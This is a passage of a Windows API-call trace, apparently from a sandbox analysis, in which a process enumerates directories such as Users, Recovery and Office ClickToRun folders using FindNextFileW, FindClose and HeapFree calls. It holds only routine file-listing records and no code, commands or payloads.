	[0184.414] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 0
	[0184.414] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0184.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0184.414] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0
	[0184.414] FindClose (in: hFindFile=0x4140118 | out: hFindFile=0x4140118) returned 1
	[0184.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0184.414] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x374fcf8 | out: lpFindFileData=0x374fcf8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
	[0184.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0184.414] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x374fcf8 | out: lpFindFileData=0x374fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xb646e901, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1
	[0184.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0184.414] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x374fcf8 | out: lpFindFileData=0x374fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
	[0184.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.415] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1
	[0184.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.415] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 1
	[0184.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.416] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 0
	[0184.416] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0184.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0184.416] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARM", cAlternateFileName="")) returned 0
	[0184.416] FindClose (in: hFindFile=0x4140118 | out: hFindFile=0x4140118) returned 1
	[0184.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0184.416] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0184.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0184.416] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1
	[0184.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0184.419] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0184.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0184.419] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0184.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0184.419] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0184.420] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.420] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 0
	[0184.420] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0184.420] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0184.420] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1
	[0184.422] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.422] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0184.424] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.424] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0184.424] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0184.424] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.424] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", cAlternateFileName="19B111~1")) returned 1
	[0184.426] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.426] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0184.427] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.427] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0184.427] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0184.427] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.428] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", cAlternateFileName="201EB7~1")) returned 1
	[0184.429] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.429] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0184.431] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.431] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0184.431] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0184.431] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.431] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8512127a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1
	[0184.434] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0184.434] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 0
	[0184.434] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0184.434] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0184.434] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0
	[0184.434] FindClose (in: hFindFile=0x4140b58 | out: hFindFile=0x4140b58) returned 1
	[0184.434] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0184.435] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0
	[0184.435] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0184.435] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.435] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0184.436] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0184.436] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0
	[0184.436] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0184.436] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.436] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0
	[0184.436] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0184.436] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0184.436] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1
	[0184.439] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0184.439] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0184.440] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0184.440] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0184.441] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0184.441] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0184.441] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 1
	[0184.442] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0184.442] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0184.444] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0184.444] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0184.444] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
